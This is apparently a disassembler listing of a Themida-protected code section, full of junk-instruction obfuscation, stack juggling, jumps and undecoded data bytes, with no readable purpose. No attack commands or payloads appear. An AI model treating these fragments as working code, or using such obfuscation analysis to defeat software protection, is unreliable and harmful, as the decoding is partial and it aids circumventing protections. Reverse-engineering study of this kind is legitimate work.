		mov	edi, 0DE84ED0Ah
		sub	ebp, edi
		pop	edi
		jmp	loc_550EA1
; ---------------------------------------------------------------------------

loc_5474C3:				; CODE XREF: Themida_:0054A627j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4C85535Eh
		sub	edi, 4C85535Ah
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54D7BB
; ---------------------------------------------------------------------------

loc_547502:				; CODE XREF: Themida_:0054BD6Dj
		xor	eax, edi
		xchg	esi, edi
		not	esi
		xor	edi, esi
		xor	esi, edi
		jmp	loc_548714
; ---------------------------------------------------------------------------

loc_547511:				; CODE XREF: Themida_:00548E9Ej
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_54A50C
; ---------------------------------------------------------------------------
		dd 5FEDEF81h, 0C7813356h, 6B5024C4h, 9E9F701h, 0BB00009Fh
		dd 5E3569Ah, 4244481h, 1BE101E0h, 0FFFDE9E9h, 0D95BDFFh
		dd 0EA0926D6h, 90EA815Dh, 0E9E13702h, 1DB2h, 243C8B54h
		dd 5004C483h, 3364C5B8h, 0ABF5E931h, 0E4B80000h, 0BA7C1758h
		dd 4268213Eh, 1C281h, 0EA810000h, 34884E7Bh, 14E0E9h, 4C18100h
		dd 83000000h, 0C8704C1h, 0C3E95C24h, 81000082h,	0AB7763C1h
		dd 0C335869h, 240C3124h, 62F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5475A5:				; CODE XREF: Themida_:0054D6A5j
		and	edi, 7C094FDFh
		push	eax
		mov	eax, 250F1A51h
		xor	eax, 1E440476h
		shl	eax, 4
		not	eax
		jmp	loc_5529E4
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4C181h, 0C870000h, 1A41E924h,	0EC830000h
		dd 35FAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5475DE:				; CODE XREF: Themida_:loc_551390j
		push	787Fh
		jmp	loc_547F8C
; ---------------------------------------------------------------------------
aQBstsB		db ']Q¹µBéTé³b',0
		align 4

loc_5475F4:				; CODE XREF: Themida_:0054F2B0j
		sub	edi, 1E6B63B4h
		add	edi, ebp
		add	edi, 1E6B63B4h
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	ecx
		xchg	ecx, [edi+24h]
		jmp	loc_550EEB
; ---------------------------------------------------------------------------
		dd 81C3315Ah, 251B0FEAh, 68C22913h, 61F8h, 0FFF8D4E9h
		dd 0D1F65AFFh, 2EB35366h, 7EE980h, 7EC180D9h, 7C74E9h
		dd 0C0EE8100h, 6848CF7Eh, 4501h, 72F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_547651:				; CODE XREF: Themida_:0054A329j
		and	ebp, 219D4FFBh
		inc	ebp
		sub	ebp, 1BD6E7E3h
		sub	ebx, ebp
		pop	ebp
		pop	edx
		sub	ebx, 6F915149h
		add	ebx, eax
		jmp	loc_54BACB
; ---------------------------------------------------------------------------

loc_54766F:				; CODE XREF: Themida_:0054CC1Bj
		sub	esi, edx
		pop	edx
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54DC4D
		push	495h
		mov	[esp], ebx
		push	31C9h
		mov	[esp], eax
		push	ecx
		push	edi
		mov	edi, 343C3F78h
		inc	edi
		xor	edi, 62956792h
		mov	ecx, edi
		jmp	loc_547B9B
; ---------------------------------------------------------------------------

loc_5476A9:				; CODE XREF: Themida_:0054A5C0j
		pop	esi
		jmp	loc_548A75
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0BA525800h, 4, 0E95AD001h, 0B0Ah, 0E9E38953h
		dd 0FFFFF9AFh, 62BB7B8h, 6C352D79h, 5CE91724h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5476DF:				; CODE XREF: Themida_:00549C0Bj
		shr	ah, 8
		push	edx
		jmp	loc_54B9FE
; ---------------------------------------------------------------------------
aB5gsc		db 'ÁÀ¶5ƒé—',27h,0
		db 0
; ---------------------------------------------------------------------------

loc_5476F3:				; CODE XREF: Themida_:00548B05j
		neg	ecx
		jmp	loc_54B8A6
; ---------------------------------------------------------------------------
		dw 0E768h
		dd 8900000Eh, 0E7B62414h, 8091E680h, 0E6C094CEh, 5E6C007h
		dd 0C680DEF6h, 9B3CE9DFh, 0EC810000h, 4, 50241489h, 0F41928B8h
		dd 7D8B357Eh, 0D7E97D48h, 57000099h, 8104E9h
		db 0
; ---------------------------------------------------------------------------

loc_547739:				; CODE XREF: Themida_:00547C9Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 55260919h
		sub	ebx, 7AD86756h
		add	ebx, eax
		add	ebx, 7AD86756h
		sub	ebx, 55260919h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54A8E2
; ---------------------------------------------------------------------------
		dd 37E9F9B5h, 5900005Bh, 29E95350h, 83000044h, 248904ECh
		dd 24048324h, 24048F04h, 4240481h, 8B000000h, 0C481241Ch
		dd 4, 4EC81h, 3C890000h, 4BF24h, 0C3810000h, 21D33BACh
		dd 4D0EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5477B9:				; CODE XREF: Themida_:0054C0D5j
		add	esi, 0FFFFFFFFh
		push	46F7h
		jmp	loc_550142
; ---------------------------------------------------------------------------

loc_5477C9:				; CODE XREF: Themida_:0055014Aj
		sub	ebx, 78E66743h
		shr	ebx, 6
		not	ebx
		inc	ebx
		add	ebx, 44CC8D6Eh
		jmp	loc_54D495
; ---------------------------------------------------------------------------

loc_5477E0:				; CODE XREF: Themida_:0054BAD1j
		sub	ebx, 26C22257h
		jmp	loc_54EE96
; ---------------------------------------------------------------------------
aSJdVstb	db 'S»†dÇvét',0
		align 2
		dw 0E956h
		dd 7602h, 0C680EE00h, 240C8BD2h, 97FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_547809:				; CODE XREF: Themida_:0055048Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 87A6B4Eh
		shl	ebx, 3
		push	ebp
		mov	ebp, 5DE576EDh
		jmp	loc_54D7E6
; ---------------------------------------------------------------------------
aSzw		db '\é§W',0
		align 4

loc_547828:				; CODE XREF: Themida_:0054E0EDj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54C6BE
; ---------------------------------------------------------------------------
		dd 0D7B6872Dh, 0CBEE960h, 0C4810000h, 4, 4C781h, 0A8E90000h
		dd 81000038h, 4ECh, 24348900h, 27CCE9h,	0C8B6600h, 0C1AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54786E:				; CODE XREF: Themida_:0054BD5Fj
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_54A800
		push	edx
		mov	edx, 84A2232h
		not	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 522C54E8h
		push	7DCFh
		mov	[esp], eax
		mov	eax, 1F517CA9h
		shr	eax, 6
		neg	eax
		push	esi
		mov	esi, 7F66723Ah
		push	edi
		mov	edi, 37A67472h
		jmp	loc_547BFD
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2414h, 0EFh
; ---------------------------------------------------------------------------

loc_5478B8:				; CODE XREF: Themida_:00552356j
		add	dword ptr [ecx], 1
		pop	ecx
		jmp	loc_5507F8
; ---------------------------------------------------------------------------
		dd 0DF4E3468h, 0E6D15E50h, 4BA524Eh, 16254D9h, 24148BD6h
		dd 4C481h, 0C3810000h, 66FE6200h, 15E5E9h, 5BF98800h, 3FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_5478F1:				; CODE XREF: Themida_:0054BD1Bj
		pop	edi
		push	ebx
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	ebx
		not	ebx
		neg	ebx
		push	edi
		mov	edi, 0B5A14B98h
		add	ebx, edi
		pop	edi
		xor	ebp, ebx
		pop	ebx
		xor	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_54D646
; ---------------------------------------------------------------------------
		db 0BFh
		dd 69EE732Ch, 17BCCF81h, 0EFC15C8Dh, 9F43E904h,	57410000h
		dd 0B7079FBFh, 4CEF8123h, 29CEE7B2h, 3B98E9F9h,	0E8050000h
		dd 15C3EAFh, 0FE0158C6h, 58B6EE81h, 27E95920h, 0C0000024h
		dd 0E7C006EFh, 1372E902h, 48B0000h, 4C48324h, 2E83E9h
		db 0
; ---------------------------------------------------------------------------

loc_547969:				; CODE XREF: Themida_:0054A4D1j
		sub	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_54F241
; ---------------------------------------------------------------------------
aASpz		db '€ÏÃ鯧',0
		align 2
aNsM		db '­éÂM',0
		align 4
		dd 241CF766h, 0F566E99Ch, 0EC80FFFFh, 58E52841h, 32E0E9h
		dd 24048900h, 18AF6857h, 74E92D10h, 8900000Ch, 5CE9241Ch
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5479AF:				; CODE XREF: Themida_:0054873Dj
		push	1810h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 72CB3C3Ah
		jmp	loc_548903
; ---------------------------------------------------------------------------

loc_5479C2:				; CODE XREF: Themida_:0054E4E9j
		push	edi
		mov	edi, 6F595CA7h
		jmp	loc_54B446
; ---------------------------------------------------------------------------

loc_5479CD:				; CODE XREF: Themida_:0054C0FDj
		mov	ebp, 3709146Dh
		add	eax, ebp
		pop	ebp
		jmp	loc_549780
; ---------------------------------------------------------------------------
		dw 4FBBh
		dd 31584748h, 99055BD8h, 2D1ECE69h, 8E6D939Ch, 6858C101h
		dd 62E1h, 0BB241C89h, 5F697DEAh, 8108E3C1h, 254079CBh
		dd 81D3F767h, 821584F3h, 82AE990h, 0C5810000h, 0E9F38D4h
		dd 1835C581h, 0E8294B6Dh, 83242C8Bh, 0C82904C4h, 7CA7E9h
		dd 0F4C2E900h, 5653FFFFh, 7536A4BEh, 8BF38950h,	97E92434h
		dd 58000034h, 7918E9h, 0E7895700h, 4C781h, 0C7810000h
		dd 4, 0E9243C87h, 611Bh, 4C4815Dh, 81000000h, 4C5h, 7558E900h
		dd 0FE010000h, 86E9575Fh, 100008Ah, 546668D8h, 14890000h
		dd 6B1BBA24h, 0AEE95F49h, 5F0000A7h, 72449005h,	4119E970h
		dd 8F0000h, 0FFF453E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547AA1:				; CODE XREF: Themida_:0055232Fj
		push	1EC42F4h
		jmp	loc_54A973
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1ED015A4h, 6AD7EB81h, 0BA523975h, 1AECA917h,	0E95AD331h
		dd 0B76h, 0BB535F54h, 244368BBh, 8105EBC1h, 0DDE4BFC3h
		dd 3425E9FEh, 83580000h, 0BA5204C4h, 4,	0E812542Dh, 5D0011Ch
		dd 1CE81254h, 0E92434FFh, 5ADh,	24048B66h, 9F74E9h
		db 0
; ---------------------------------------------------------------------------

loc_547B01:				; CODE XREF: Themida_:0054D4B2j
		sub	edi, 0CC62C360h
		add	esi, edi
		pop	edi
		pop	ebx
		xor	esi, 0F0F1A3BFh
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_54CAE1
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54B06A
; ---------------------------------------------------------------------------

loc_547B2A:				; CODE XREF: Themida_:0054B7D4j
		xor	ebp, [esp]
		jmp	loc_54EEAA
; ---------------------------------------------------------------------------

loc_547B32:				; CODE XREF: Themida_:0054E609j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 48FC59E3h
		shl	ebx, 6
		jmp	loc_547DB7
; ---------------------------------------------------------------------------
		dw 483h
		dd 0E95D0424h, 1076h, 7149102Dh, 29612D06h, 2A2D146Eh
		dd 294DB132h, 2ABA52D8h, 14DB132h, 1493E9D0h, 50680000h
		dd 89000059h, 38BA2414h, 680EA90Ch, 532Eh, 0E9242C89h
		dd 7C59h
; ---------------------------------------------------------------------------

loc_547B88:				; CODE XREF: Themida_:00550B9Dj
		sub	esp, 4
		mov	[esp], ebp
		push	4DCh
		jmp	loc_550E55
; ---------------------------------------------------------------------------

loc_547B9B:				; CODE XREF: Themida_:005476A4j
		pop	edi
		sub	ecx, 1
		jmp	loc_549838
; ---------------------------------------------------------------------------
		db 80h
		dd 48BB4EDh, 8A80E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547BB2:				; CODE XREF: Themida_:0054EEBFj
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_54C0F1
; ---------------------------------------------------------------------------

loc_547BBC:				; CODE XREF: Themida_:005513E7j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	4579h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_54C1BE
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDDh, 4C481h, 2C870000h, 24248B24h, 24048B66h
		dd 1E97E9h
		db 0
; ---------------------------------------------------------------------------

loc_547BFD:				; CODE XREF: Themida_:005478AAj
		sub	edi, 3E682890h
		and	edi, 27FE50D1h
		jmp	loc_54D549
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 9B682404h, 8900000Eh, 87E92414h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547C1F:				; CODE XREF: Themida_:0054CD72j
		push	ebx
		mov	ebx, 2AE91DACh
		sub	esp, 4
		jmp	loc_54D911
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 5EC2E924h, 0D9F60000h,	0C180D9F6h
		dd 1CC4E9B4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547C4A:				; CODE XREF: Themida_:00552255j
		mov	[esp], ecx
		push	ebp
		push	7421h
		jmp	loc_5471FB
; ---------------------------------------------------------------------------

loc_547C58:				; CODE XREF: Themida_:0054916Cj
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_550722
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C3h
		dd 2, 5C241C87h, 7291E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547C7A:				; CODE XREF: Themida_:00552128j
		sub	eax, 30F8174Bh
		inc	eax
		and	eax, 1FBA0369h
		push	ebx
		mov	ebx, 7C97741Bh
		sub	ebx, 2AC05C77h
		jmp	loc_549EC4
; ---------------------------------------------------------------------------
		dw 348Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_547739
; ---------------------------------------------------------------------------

loc_547CA1:				; CODE XREF: Themida_:0054FD69j
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 12h
		jmp	loc_551E69
; ---------------------------------------------------------------------------

loc_547CAD:				; CODE XREF: Themida_:0054DFADj
		xor	eax, edi
		pop	edi
		shr	eax, 7
		neg	eax
		sub	eax, 0E9C7F58Dh
		mov	edx, eax
		pop	eax
		shr	edx, 3
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5E604C24h
		neg	esi
		shr	esi, 4
		jmp	loc_54BA4A
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 7Ah
		dd 0E95BFD88h, 5D1Dh
; ---------------------------------------------------------------------------

loc_547CE0:				; CODE XREF: Themida_:0054F04Cj
		sub	eax, 16D0655Dh
		push	dword ptr [esp]
		jmp	loc_54A616
; ---------------------------------------------------------------------------
aSAsSgy		db 'Àá',8,'€éßé£y',0
		align 4
		dd 27FBF581h, 148B2AAAh, 24E95724h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547D07:				; CODE XREF: Themida_:0054E00Aj
		shl	edx, 1
		jmp	loc_54F79B
; ---------------------------------------------------------------------------
		dw 1768h
		dd 8900006Fh, 0EC832424h, 241C8904h, 0C381E389h, 4, 8704EB83h
		dd 0E95C241Ch, 19C9h, 0E924048Bh, 556Ch, 3AA2EE81h, 0BFE96BFCh
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547D43:				; CODE XREF: Themida_:0054D0C9j
		cmp	eax, edx
		jz	loc_548894
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 255A44B9h
		neg	eax
		neg	eax
		neg	eax
		dec	eax
		shr	eax, 8
		jmp	loc_54F051
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4246C81h, 2C7A774Bh,	4245401h, 4244481h, 2C7A774Bh
		dd 0F162E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547D92:				; CODE XREF: Themida_:0054AC32j
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_54D756
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 84E9C601h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547DB7:				; CODE XREF: Themida_:00547B41j
		and	ebx, 14124B11h
		neg	ebx
		inc	ebx
		add	ebx, 405F7C8Eh
		sub	ebx, 2C4D348Bh
		add	edi, ebx
		jmp	loc_54E6E8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 24348B5Ch, 8104C483h, 2E48242Ch, 401293Ch
		dd 24048124h, 293C2E48h, 0FB242C81h, 0E9731138h, 0FFFFF0F4h
; ---------------------------------------------------------------------------

loc_547E00:				; CODE XREF: Themida_:00550FA4j
		pop	eax
		xor	edx, 30E9458Eh
		jmp	loc_54A402
; ---------------------------------------------------------------------------
		dd 725468h, 14B0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547E16:				; CODE XREF: Themida_:0054A7BDj
		add	esp, 4
		push	edi
		push	100h
		pop	edi
		and	eax, edi
		jmp	loc_54995C
; ---------------------------------------------------------------------------
		dd offset dword_493504+0C064h
		dw 8900h
aQsL		db '$$Qé!«',0
		align 4
		dd 0DB4BF805h, 2DF00121h, 21DB4BF8h, 8FE9535Eh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547E4B:				; CODE XREF: Themida_:0054D762j
		push	30A2h
		mov	[esp], esi
		push	385Bh
		mov	[esp], ecx
		mov	ecx, 32272BDFh
		jmp	loc_54A4F9
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C2414h, 0FFFFF080h, 0E92434FFh, 0AC63h
		dd 42CBB53h, 6AE96259h,	5DFFFFF2h, 8B24048Fh, 4312424h
		dd 0F05EE924h, 431FFFFh, 24043324h, 8BEBE9h, 3EBD5500h
		dd 0E90E001Ah, 4BCBh, 0C581E589h, 4, 440FE9h, 13F68100h
		dd 1268B96h, 0C1835EF1h, 74FF5102h, 0C7E90424h,	51000049h
		dd 0C181E189h, 4, 4C181h, 3BE90000h, 81000016h,	4C4h, 138EE900h
		dd 8B660000h, 8953240Ch, 4C381E3h, 83000000h, 1C8704EBh
		dd 4895C24h, 2A12E924h,	0FF500000h, 58042474h, 5C24048Fh
		dd 0FFFB14E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547F19:				; CODE XREF: Themida_:0054F1F9j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54A263
; ---------------------------------------------------------------------------

loc_547F30:				; CODE XREF: Themida_:0054B270j
		and	eax, edx
		jmp	loc_5513C9
; ---------------------------------------------------------------------------

loc_547F37:				; CODE XREF: Themida_:0054C01Dj
		mov	bl, 0B5h
		jmp	loc_5488F1
; ---------------------------------------------------------------------------

loc_547F3E:				; CODE XREF: Themida_:0054EE65j
		push	edi
		mov	edi, 6F275E68h
		not	edi
		xor	edi, 90D8A193h
		jmp	loc_5473F2
; ---------------------------------------------------------------------------
		db 59h,	35h, 0DFh
		dd 124CD23h, 0C68158C6h, 23084351h, 56E9EE29h, 5000007Ah
		dd 335DECB8h, 5E0C174h,	0FA6FDA05h, 58C229A0h, 0C281F201h
		dd 27662D5Ah, 8324348Bh, 0E95004C4h, 6B72h
; ---------------------------------------------------------------------------

loc_547F8C:				; CODE XREF: Themida_:005475E3j
		mov	[esp], eax
		jmp	loc_54DE5B
; ---------------------------------------------------------------------------
		dd 3182F781h, 0B850A58Bh, 7C2D3A67h, 2DA2E9h, 5B63BD00h
		dd 0E9010810h, 0E9D9295Dh, 7A2h, 5C243433h, 27C0E9h, 83BA5200h
		dd 81674E09h, 202412CAh, 106AE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547FCE:				; CODE XREF: Themida_:0054D1B7j
		and	bh, 23h
		add	bh, 4Bh
		mov	ch, bh
		pop	ebx
		sub	ch, 0B0h
		sub	esp, 4
		mov	[esp], eax
		push	bx
		jmp	loc_54F5D6
; ---------------------------------------------------------------------------
aSz		db '[éZ{',0
		dd 0EC815D00h, 4, 0A765E9h, 24343300h, 0E9243431h, 0A108h
		dd 4689E9ACh, 0DD210000h, 88BF575Bh, 8122B001h,	8A1EC7C7h
		dd 5FFD311Fh, 14E9E889h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548023:				; CODE XREF: Themida_:0054AE9Cj
		sub	bl, ch
		pop	ecx
		jmp	loc_54733D
; ---------------------------------------------------------------------------

loc_54802B:				; CODE XREF: Themida_:00550D41j
		add	bl, 7Fh
		sub	bl, 0A9h
		push	edx
		mov	dl, 5
		jmp	loc_54729F
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 2Eh
		dd 8120B61Fh, 52474E3h,	7DC3814Ah, 11E3040h, 582D5BD8h
		dd 3503C64Bh, 80A06E51h, 1F01C781h, 0A0E9742Bh
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548063:				; CODE XREF: Themida_:005484DCj
		jmp	loc_546EF4
; ---------------------------------------------------------------------------

loc_548068:				; CODE XREF: Themida_:00552AAFj
		xor	ebx, 27D2107Dh
		xor	ebx, 75E443F5h
		shr	ebx, 4
		dec	ebx
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		push	ebp
		mov	ebp, 6E405932h
		add	ebp, 1
		xor	ebp, 4276B3E9h
		add	ebx, ebp
		pop	ebp
		jmp	loc_54E8AF
; ---------------------------------------------------------------------------
		dd 0FEB9B252h, 0A4F280CAh, 0A739E9h, 0C4835A00h, 2C08304h
		dd 31240433h, 4332404h,	24248B24h, 240C8B66h, 25CD68h
		dd 240C8900h, 662FE954h, 0C7830000h, 74FF5704h,	3C8B0424h
		dd 4C48124h, 8F000000h,	54E92404h, 0C1000015h, 0D4E907E0h
		dd 6600009Ch, 664A83BDh, 0C166DDF7h, 686606EDh,	8966439Ah
		dd 6866240Ch, 5966777Eh, 66CD3166h, 4C0EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54810E:				; CODE XREF: Themida_:0055172Fj
		mov	[esp], eax
		push	ebp
		mov	ebp, 73A0280Ah
		jmp	loc_5529F8
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 7F9C0E4Eh, 6808E7C1h, 0
		dd 5F243C29h, 0B1FCEF81h, 0FD0163F1h, 81243C8Bh, 4C4h
		dd 46BA5200h, 0E952F42Bh, 62F2h, 0E95FF801h, 9CE5h, 242C875Fh
		dd 8124248Bh, 41642EC2h, 60EAE96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548166:				; CODE XREF: Themida_:0054C2A7j
		sub	ebx, 79AC6232h
		jmp	loc_54AA33
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B1240C89h, 59CA8818h, 8B66D030h, 89502414h,	4EC83E0h
		dd 0BA241489h, 71B57CC7h, 0F281D2F7h, 576A7462h, 37EA8142h
		dd 42A47CECh, 3508E281h, 0DAF72B7Ah, 5C19E9h, 1EF8100h
		dd 87000000h, 87D1F7CFh, 3EB951CFh, 213D607Bh, 0C78159CFh
		dd 0CFFFBEFCh, 3C8BFD01h, 0FE7E924h, 0C0830000h, 24048704h
		dd 8124248Bh, 191C34C3h, 57C3297Eh, 8456E9h, 4C08300h
		dd 5C240487h, 2404A30Fh, 0ECFAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5481FA:				; CODE XREF: Themida_:0054D7C5j
		pop	esi
		add	ebx, 52A5A1Eh
		add	ebx, 25007623h
		jmp	loc_54E8A3
; ---------------------------------------------------------------------------

loc_54820C:				; CODE XREF: Themida_:0054B6EEj
		mov	edx, esi
		jmp	loc_5521EF
; ---------------------------------------------------------------------------

loc_548213:				; CODE XREF: Themida_:0054B967j
		pop	ebp
		push	ebx
		mov	ebx, 30A0564Bh
		xor	ebp, ebx
		pop	ebx
		dec	ebp
		and	ebp, 22B00E7Bh
		sub	ebp, 207F044Ah
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		pop	ebx
		mov	edi, ebx
		jmp	loc_552425
; ---------------------------------------------------------------------------
		dd 2428C181h, 0D9017EE9h, 2428E981h, 0A7E97EE9h, 81000065h
		dd 0FF1673C6h, 0F289527Ah, 5DF7E9h, 240C8900h, 0FC5CB1B9h
		dd 0C1E9491Ch
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54826B:				; CODE XREF: Themida_:0054D86Aj
		mov	edi, [esp]
		push	eax
		jmp	loc_549CC5
; ---------------------------------------------------------------------------
		dd 89243489h, 4C681E6h,	81000000h, 4EEh
		db 0
byte_548285	db 0E9h, 6Fh, 0FDh	; DATA XREF: Themida_:0056151Eo
		dd 400FFFFh, 61E99C24h,	58FFFFECh, 4DF7E381h, 0F7431704h
		dd 7CC381DBh, 55160409h, 9E6669BDh, 5DE92963h, 1829C181h
		dd 0D9014202h, 1829E981h, 0C1814202h, 639E6669h, 4C1835Bh
		dd 8B240C87h, 54512424h, 5A3F6859h, 14890000h, 4BA24h
		dd 0E9810000h, 628527C9h, 7D49C181h, 0D1011E07h, 7D49E981h
		dd 0C1811E07h, 628527C9h, 4EC815Ah, 89000000h, 4B82404h
		dd 81000000h, 0AB7763E9h, 0A500E969h, 3C890000h, 6F03E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548316:				; CODE XREF: Themida_:0054B70Fj
		and	ecx, 6FA34E99h
		jmp	loc_54FE6E
; ---------------------------------------------------------------------------

loc_548321:				; CODE XREF: Themida_:0054F3A1j
		pop	eax
		jmp	loc_55225A
; ---------------------------------------------------------------------------
		db 89h
		dd 66E9240Ch
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54832F:				; CODE XREF: Themida_:00549BB2j
		push	529Ah
		jmp	loc_54A33B
; ---------------------------------------------------------------------------
		db 0BBh, 5Fh, 57h
		dd 0BDE92E95h, 30000002h, 38E3E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54834A:				; CODE XREF: Themida_:005512C0j
		mov	ebx, 77F70E67h
		sub	eax, ebx
		jmp	loc_54DA52
; ---------------------------------------------------------------------------

loc_548356:				; CODE XREF: Themida_:00550623j
		pop	ebx
		jmp	loc_54B11E
; ---------------------------------------------------------------------------

loc_54835C:				; CODE XREF: Themida_:0054BA45j
		xchg	ebx, edx
		and	edx, 52C23669h
		add	edx, 0FDFFFC01h
		mov	esi, edx
		pop	edx
		jmp	loc_5499CD
; ---------------------------------------------------------------------------
		dw 148Bh
aSli		db '$élˆ',0
		align 2
		dw 0FA01h
		dd 2414875Fh, 0E924248Bh, 8DFDh, 8B243C87h, 4892424h, 0DBE95724h
		dd 810000A2h, 0C559BEAh, 61C2810Ch, 10A7817h, 616856C2h
		dd 5E0A7817h, 1C66EA81h, 0F2292720h, 1C66C281h,	815E2720h
		dd 0C559BC2h, 95AFE90Ch, 34FF0000h, 2FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5483CE:				; CODE XREF: Themida_:0054BF6Fj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 54756A97h
		push	esi
		mov	esi, 4843699h
		sub	esi, 1825545Bh
		neg	esi
		or	esi, 110F296Dh
		jmp	loc_552A34
; ---------------------------------------------------------------------------
aASI		db '€ÅÏé+¨',0
		dw 5D00h
		dd 4C281h, 14870000h, 0C1835C24h, 6D4E902h, 8B660000h
		dd 83552404h, 248904ECh, 46D5E924h, 0C3810000h,	4, 4D56E9h
		dd 48B6600h, 0EC815024h, 4, 0E9242489h,	3DFCh
; ---------------------------------------------------------------------------

loc_54843C:				; CODE XREF: Themida_:0054D92Aj
		add	ebp, 4
		jmp	loc_54B08A
; ---------------------------------------------------------------------------
		db 81h
		dd 823BD2E3h, 0C2EB8128h, 0E974DA25h, 0FFFFFBE1h, 5CE9F000h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54845F:				; CODE XREF: Themida_:00550AC1j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_54FAFF
; ---------------------------------------------------------------------------
		db 58h
		dd 8324048Bh, 0BA5204C4h, 429873D6h, 665AD031h,	0E900B60Fh
		dd 0A777h, 8259E952h, 0C4830000h, 240C3304h, 33240C31h
		dd 0FF5C240Ch, 53592434h, 241C8B54h, 5704C483h,	9131E9h
		dd 4C78100h, 87000000h,	0A8E9243Ch, 81000017h, 0F59DFFC3h
